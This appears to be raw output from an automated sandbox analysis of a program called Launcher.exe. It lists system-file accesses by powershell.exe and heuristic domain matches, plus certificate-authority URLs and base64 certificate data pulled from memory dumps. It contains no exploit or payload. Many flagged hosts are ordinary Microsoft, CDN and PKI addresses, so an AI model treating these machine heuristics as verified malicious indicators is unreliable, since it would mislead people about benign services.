"c:\windows\assembly\nativeimages_v4.0.30319_64\system\808887ebadf1a37835b907c866cede3c\system.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system\fe3c9cf707273488c6c658d52d624640\system.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.core\11723c46cea53a98c07435785eae2ca8\system.core.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.core\21ff4ba4607b18a9b179ab90fd3b0bc1\system.core.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.manaa57fc8cc#\7688492d89951deaadab62ea3b59fb6d\system.management.automation.ni.dll.aux"49:T45e,"Launcher.exe" trying to touch file "C:\Windows\System32\apphelp.dll" "Launcher.exe" trying to touch file "C:\WINDOWS\SYSTEM32\apphelp.dll" "Launcher.exe" trying to touch file "C:\Launcher.exe" "Launcher.exe" trying to touch file "C:\Windows\System32\ntdll.dll" "Launcher.exe" trying to touch file "C:\Windows\System32\kernel32.dll" "Launcher.exe" trying to touch file "C:\Windows\System32\KernelBase.dll" "Launcher.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "Launcher.exe" trying to touch file "C:\Windows\System32\win32u.dll" "Launcher.exe" trying to touch file "C:\Windows\System32\ucrtbase.dll" "Launcher.exe" trying to touch file "C:\Windows\System32\msvcp_win.dll" "Launcher.exe" trying to touch file "C:\Windows\System32\user32.dll" "Launcher.exe" trying to touch file "C:\Windows\System32\gdi32full.dll" "Launcher.exe" trying to touch file "C:\Windows\System32\gdi32.dll" "Launcher.exe" trying to touch file "C:\Windows\System32\msvcrt.dll" "Launcher.exe" trying to touch file "C:\Windows\System32\rpcrt4.dll" "Launcher.exe" trying to touch file "C:\Windows\System32\bcrypt.dll"4a:T8d9,"DllHost.exe" trying to access non-existent file "pipe\GmdAslLogger" "powershell.exe" trying to access non-existent file "C:\Windows\System32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PublisherPolicy.tme" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.INI" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll.config" "powershell.exe" trying to access non-existent file "C:\Windows\System32\%NVM_SYMLINK%" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml"4b:T573,Pattern match: "https://www.msn.com/en-us/news/other/perks-won-t-keep-your-best-people-these-3-things-will/ar-aa2gccrq?uxmode=rubyaicts" Heuristic match: "|j.vu" Heuristic match: "tj.nu" Heuristic match: "services.bingapis.com" Pattern match: "www.licenseorg.com" Heuristic match: "lumte.com" Pattern match: "www.pixguard.io" Heuristic match: "blog.openreplay.com" Heuristic match: "clients2.googleusercontent.com" Heuristic match: "edge-consumer-static.azureedge.net" Heuristic match: "r.msftstatic.com" Heuristic match: "sb.scorecardresearch.com" Heuristic match: "cmdletization_defaultvalueispresent} } $__cmdletization_methodparameters.add($__cmdletization_methodparameter) [object]$__cmdletization_defaultvalue = $null [object]$__cmdletization_defaultvalueispresent = $false if ($psb" Heuristic match: "zation_methodparameter = [microsoft.powershell.cmdletization.methodparameter]@{name = 'attacksurfacereductionrules_rulespecificexclusions'; parametertype = 'system.string'; bindings = 'in'; value = $__cmdletization_defaultvalue; isvaluepresent = $__cmdleti" Pattern match: "microsoft.net/framework64/v4.0.30319/" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Pattern match: "microsoft.net/assembly/gac_msil/system/v4.0_4.0.0.0__b77a5c561934e089/system.dll" Heuristic match: "9r.sr"4c:Te139,Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0vd!7i6u4$i<-o_-!dq" - Source: "00000000-00005048.00000001.152785.70A30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00005048.00000001.152785.72CB8000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm089swlist" - Source: "00000000-00005048.00000001.152785.72E10000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005048.00000001.152785.72E10000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00005048.00000001.152785.72E10000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005048.00000001.152785.72E7A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt00_1t?lvbp)r" - Source: "00000000-00005048.00000001.152785.72E7A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0:'l$zmsnc" - Source: "00000000-00005048.00000001.152785.72E7A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0a08." - Source: "00000000-00005048.00000001.152785.72E7A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0!2es" - Source: "00000000-00006468.00000000.150310.57000000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006468.00000000.150310.57000000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e@nnq" - Source: "00000000-00006468.00000000.150310.57000000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006468.00000000.150310.57000000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006468.00000000.150310.57000000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006468.00000000.150310.57000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00006468.00000000.150310.57000000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006468.00000000.150310.57000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0u1+0)" - Source: "00000000-00006468.00000000.150310.57000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00006468.00000000.150310.57000000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120251011013926.217z0washington1redmond1microsoft" - Source: "00000000-00006468.00000000.150310.57270000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006468.00000000.150310.57270000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00006468.00000000.150310.57270000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00006468.00000000.150310.57270000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006468.00000000.150310.71343000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006468.00000000.150310.71343000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006468.00000000.150310.71343000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcpm5qaucooe:j9_($n" - Source: "00000000-00006468.00000000.150310.71343000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006468.00000000.150310.71343000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.4http@" - Source: "00000000-00006468.00000000.150310.71343000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006468.00000000.150310.71343000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006468.00000000.150310.71343000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006468.00000000.150310.71343000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006468.00000000.150310.71343000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006468.00000000.150310.714C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00006468.00000000.150310.714C0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006468.00000001.152229.57000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00006468.00000001.152229.57000000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006468.00000001.152229.57000000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e@%" - Source: "00000000-00006468.00000001.152229.57000000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006468.00000001.152229.57000000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006468.00000001.152229.57000000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006468.00000001.152229.57000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00006468.00000001.152229.57000000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006468.00000001.152229.57000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0u1+0)" - Source: "00000000-00006468.00000001.152229.57000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00006468.00000001.152229.57000000.00000004.mdmp") Found URL "http://www.microsoft.comwashington1sn?$4yemwashington1redmond1microsoft" - Source: "00000000-00006468.00000001.152229.57270000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0&ei/cr2010-06-23.crl0z1.3.6.1.4.1.311.2.1.42.1.42.1.4pmcqredmond1@t_q\vdq9iqmgvw,czcpm5qaucooe:j9_($n" - Source: "00000000-00006468.00000001.152229.71343000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006468.00000001.152229.71343000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.4http@" - Source: "00000000-00006468.00000001.152229.71343000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006468.00000001.152229.71343000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006468.00000001.152229.71343000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006468.00000001.152229.71343000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006468.00000001.152229.71343000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0gv" - Source: "00000000-00006468.00000001.152229.71650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006468.00000001.152229.71650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0'.b!" - Source: "00000000-00006468.00000001.152229.71650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0mpfa=" - Source: "00000000-00006468.00000001.152229.71650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt00_1t?lvbp)r" - Source: "00000000-00006468.00000001.152229.71650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0:'l$zmsnc" - Source: "00000000-00006468.00000001.152229.71650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0::vm4" - Source: "00000000-00006468.00000001.152229.71650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0ahq.a)d$g5" - Source: "00000000-00006468.00000001.152229.71650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0]bbae" - Source: "00000000-00006468.00000001.152229.71650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0!2es" - Source: "00000000-00006468.00000001.152229.71650000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiopsnepository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/zeraut_2010-06-23.crl0zn0l0j>http://" - Source: "00000000-00006468.00000001.152229.71730000.00000004.mdmp") Found URL "http://www.microsoft.comheapdqnvcbudbeajgvpn7voifsr5gqwxgmwk3yycuf+rlywnehgge0/ravdx7iiejzihf8cscmx+9lbxfv9xytooriuosnt85ceptfmkzqwtsvmf6oind27dwweug73dxgzpkvmgmybmep7hqasggc6cmgwr9c49sdcxzqbnqoi0ns5nzqm7mhxhkk0eiozssqzmibprv/vgxiqszvc0ab0kq/ldccbrewggszoamcaqicezmaaaaxhb1wcuv4yceaaaaaabcwdqyjkozihvcnaqembqawgygxczajbgnvbaytalvtmrmweqydvqqiewpxyxnoaw5ndg9umrawdgydvqqhewdszwrtb25kmr4whaydvqqkexvnawnyb3nvznqgq29ycg9yyxrpb24xmjawbgnvbamtku1py3jvc29mdcbsb290ienlcnrpzmljyxrlief1dghvcml0esaymdewmb4xdtizmdyxmze4mzqxnvoxdtm1mdyxmze4ndqxnvowuzelmakga1uebhmcvvmxhjacbgnvbaotfu1py3jvc29mdcbdb3jwb3jhdglvbjekmciga1ueaxmbv2luzg93cybqcm9kdwn0aw9uifbdqsaymdizmiicijanbgkqhkig9w0baqefaaocag8amiiccgkcagea1s7lcl1ucuvb2kjr3vjiir+mtkab4s1pqvmgm4raqsd4+4k7dn2grazhcc9n2x3avwbcgobztxrsqortckmdvnfxknjl0rm+kgid0wuceoop/fbrxooqb6+cgaauw4sfeekfvdkflehx4zf+ja+s5ojp811vyjflsm20jqaq4qecmi9nhqk3txuxeez0bqelnbaemin1rzympipnfhishdklx3gkqsovzi6lod6vrm/t3bncpc2pfyoiom6t+tvdpxay6j2bdhf5pyfrobr0vqhvqw8elews5ep4hcs1picnj1qsvrl+fb5mkj6z7vcjssej6jv4kexparigmm5qa6fjvp9zv0zqkn8zdw/s+ms/wkoozviwlsplk8ziji8nf4s9ex+aolzlma3oz24fjrx6ojn3gcgwsbxfppka1lykukitmmalpma7cjz+napcuwkub7mapaaekaeqnt9rsv6pfdbsee7m2ld4denzt9lsenawsh1xgmc3ulejuohpwdmlq0ovrxh3x+wjv5kfo1evnxg/lewkgnbkho37vaciskzkazcgj8awipyupjmctqk/m2qcivtorbxrpebzy6gvh6uxpcto7hg6rsfoc73rhvsqos40dueqooxnw2oyjszwwunydj38rexxkzdsciqc5b+f7val9lscaweaaaocauywggfcma4ga1uddweb/wqeawibhjaqbgkrbgeeayi3fqeeawibadadbgnvhq4efgquhu0lrj9acdi9hiezvx+fmvmi+aawgqyjkwybbagcnxqcbawecgbtahuaygbdaeewdwydvr0taqh/bauwaweb/zafbgnvhsmegdawgbtv9lblj+iixgjo0t2ukfvxzpoyxdbwbgnvhr8etzbnmeugsabhhkvodhrwoi8vy3jslm1py3jvc29mdc5jb20vcgtpl2nybc9wcm9kdwn0cy9nawnsb29dzxjbdxrfmjaxmc0wni0ymy5jcmwwwgyikwybbquhaqeetjbmmeogccsgaqufbzachj5odhrwoi8vd3d3lm1py3jvc29mdc5jb20vcgtpl2nlcnrzl01py1jvb0nlckf1df8ymdewlta2ltizlmnyddanbgkqhkig9w0baqwfaaocageaktbcan+e3tyyb8j/s05y+5xvmouq6nxxuofjndhacjwysrjzfhd5bf6cshvheapsf8mn6clc0+lzub2sxxsuvwzbnbuhn1m2zcmd0q5gmqm8esargch9dkybjnq4pitbz2wrxwe8cybxsqhxpyayayjlah0gixfgdu3xj0t5vonxyhsc1jxhsjoqsouwhhokr/nyofyhguoy1huolslzerrrrrjzqyxrwyhq3ej0wo+2nefpvn+zns7p9pi6v92syfq8ncqh3xe4zq565s3rewdddqpa5c7gw1xhtphsdmln928adrumcw0gubb8hgpsbdiourpmvdf/oxbrsp8vu3v+fyzxrhhbi2brxdx6snp6+vgjrli9zomcre9fyw1flhnvttb22+hdgzrvzsqdnonvrpyel9knmjcexzl9qmslwgenognp2/1kyupez3wywfyqqspnyw9ruhkv13axghpgmiiaxaibatbqmfmxczajbgnvbaytalvtmr4whaydvqqkexvnawnyb3nvznqgq29ycg9yyxrpb24xjdaibgnvbamtg1dpbmrvd3mguhjvzhvjdglvbibqq0egmjaymwitmwaaasrdopfx4ccvqgaaaaabjdanbglghkgbzqmeagefakcbrjazbgkqhkig9w0bcqmxdaykkwybbagcnwibbdacbgorbgeeayi3agelmq4wdaykkwybbagcnwibftavbgkqhkig9w0bcqqxigqgx+uibrsh0f43lxz5oulkzw1rchgekz/klgthn/wotcmwqgykkwybbagcnwibdde0mdkgfiasae0aaqbjahiabwbzag8azgb0orqaggh0dha6ly93d3cubwljcm9zb2z0lmnvbt" - Source: "00000000-00006468.00000001.152229.722D0000.00000004.mdmp") Found URL "http://www.microsoft.comheapcm9kdwn0cy9nawnsb29dzxjbdxrfmjaxmc0wni0ymy5jcmwwwgyikwybbquhaqeetjbmmeogccsgaqufbzachj5odhrwoi8vd3d3lm1py3jvc29mdc5jb20vcgtpl2nlcnrzl01py1jvb0nlckf1df8ymdewlta2ltizlmnyddanbgkqhkig9w0baqsfaaocageanvv9/cqt4swfzwexjfvhnnjl/klv6lwutj5or2r4sqatlz0xm7u518jxnj/azgx80hu5bbspmetcj/ts0agugclu6wznolnn3zi6th542dyunkmcvgadsaw+iehp4loj7nvfam++kctu2d9idqhzgn5tggz1bsnu5hhtdsrxud2f8449xvno32x2pfaq95w2kfun0cs9qkc/gbysehfdpsfgqjy4rpf5kyndvbewvivcs/wmnosziefwc2qbwoezqhlsdyo2wh3dyxmulgt7bj8scxgu6zgyqvvfsan0dlzskydspezkpmy7t7ug+jia2zb0j/arafboxnt99kxybxcrdtdfnlb62fd+cljdqdzhvg2dy3rillfory3bfarxv2t5jl5zbcqocb2zavdjvgtzc9d/hlteay5agzfrdz+kknxngsgkujhlmm77ivrrakurr6nxt67i6ilet53s0ex2tvducbfpaur+fkfhbhp+crvsqwy9af3lwufjfn6tvsv4o+s3fb+0zj6lmvgevl8cwykiexcdfymncp7ntdaogokljzbaukz5m/8k6tt4jdvnk+anuoammdbhiurwj0i9jztmdhrbatgepu1+odezfbzl6xu/ohbe0zdxyks6ijoiyn/zcgntty3ugm2lbrdbvtnys6fwzvkhggnqmiicoaibatcb+agb0asbzjcbyzelmakga1uebhmcvvmxezarbgnvbagtcldhc2hpbmd0b24xedaobgnvbactb1jlzg1vbmqxhjacbgnvbaotfu1py3jvc29mdcbdb3jwb3jhdglvbjelmcmga1uecxmctwljcm9zb2z0ieftzxjpy2egt3blcmf0aw9uczenmcuga1uecxmeblnoawvszcbuu1mgrvnookuwmditmdvfmc1eotq3msuwiwydvqqdexxnawnyb3nvznqgvgltzs1tdgftccbtzxj2awnloimkaqewbwyfkw4dahodfqc3v9iso22xob7zxn5dxceq+9iv/6cbgzcbgkr+mhwxczajbgnvbaytalvtmrmweqydvqqiewpxyxnoaw5ndg9umrawdgydvqqhewdszwrtb25kmr4whaydvqqkexvnawnyb3nvznqgq29ycg9yyxrpb24xjjakbgnvbamthu1py3jvc29mdcbuaw1llvn0yw1wifbdqsaymdewma0gcsqgsib3dqebcwuaagua7kpq2daiga8ymdi2mdkwmzewntyynfoydziwmjywota0mta1nji0wjb3md0gcisgaqqbhfkkbaexlzatmaocbqduq9dyageamaocaqacag0magh/maccaqacahppmaocbqdursjyageamdygcisgaqqbhfkkbaixkdammawgcisgaqqbhfkkawkgcjaiageaagmhoschcjaiageaagmbhqawdqyjkozihvcnaqelbqadggebahakiyon9oz6ywqvy1y0k/lvpllxwa9kpd4curgii2a79ewyyfhf4zqwbn0tfhpzmkvewzgroovxh7c02vxmhrs1kylwi8djtnhfkwovjheapb4s8t8zq2qtnqposdluwxy3409jqzz9szr36sbm+vs+ptkt2cvtc94znznckoeb15jnwugl2d6vo8wgp4xekc0onzwepa3adxycocwetrgkzi7ha0irlnp2ugoxggqnmiiecqibatcbkzb8mqswcqydvqqgewjvuzetmbega1uecbmkv2fzagluz3rvbjeqma4ga1uebxmhumvkbw9uzdeembwga1uechmvtwljcm9zb2z0ienvcnbvcmf0aw9umsywjaydvqqdex1nawnyb3nvznqgvgltzs1tdgftccbqq0egmjaxmaitmwaaaiko1wqqtjfyggabaaacktanbglghkgbzqmeagefakccauowggyjkozihvcnaqkdmq0gcyqgsib3dqejeaeemc8gcsqgsib3dqejbdeibcdt6k99ez2dfybw9vyfalrp4fi2/r9ctzr5it6zugz+ozcb+gylkozihvcnaqkqai8xgeowgecwgeqwgb0eilfkpfeitvd/lsveumxqpkkeoetgkmkfevmuel9oorqsmigymigaph4wfdelmakga1uebhmcvvmxezarbgnvbagtcldhc2hpbmd0b24xedaobgnvbactb1jlzg1vbmqxhjacbgnvbaotfu1py3jvc29mdcbdb3jwb3jhdglvbjemmcqga1ueaxmdtwljcm9zb2z0ifrpbwutu3rhbxaguenbidiwmtacezmaaaipdtvkkrsx8hoaaqaaaikwigqgbz1lyvi/eo/uwkv1buhffyjs/m3udkoqqi2l65oxk98wdqyjkozihvcnaqelbqaeggiaf8tomiqsr+m+wi4+mpud9lxi3i8gdhp90wbcq4czffqsifbze/xgsen6meyrli7lz54bimewrawrnkjx6kaqlqxssrg13ouydwbijnozce3j4ciykvi6udfiqltgoerejf6zp3fr0wpuoco9xx7yybmvaovev3heapn,wis.z_h:" - Source: "00000000-00006468.00000001.152229.722D0000.00000004.mdmp") Found URL "http://www.microsoft.comheaphttp://www.microsoft.com" - Source: "00000000-00006468.00000001.152229.722D0000.00000004.mdmp") Found URL "http://www.microsoft.comhttp://www.microsoft.com(r_&0r_&0r_&c5n6c5n6c5n6p94rc5n6c5n6" - Source: "00000000-00006468.00000001.152229.722D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006468.00000001.152229.722D0000.00000004.mdmp") Found URL 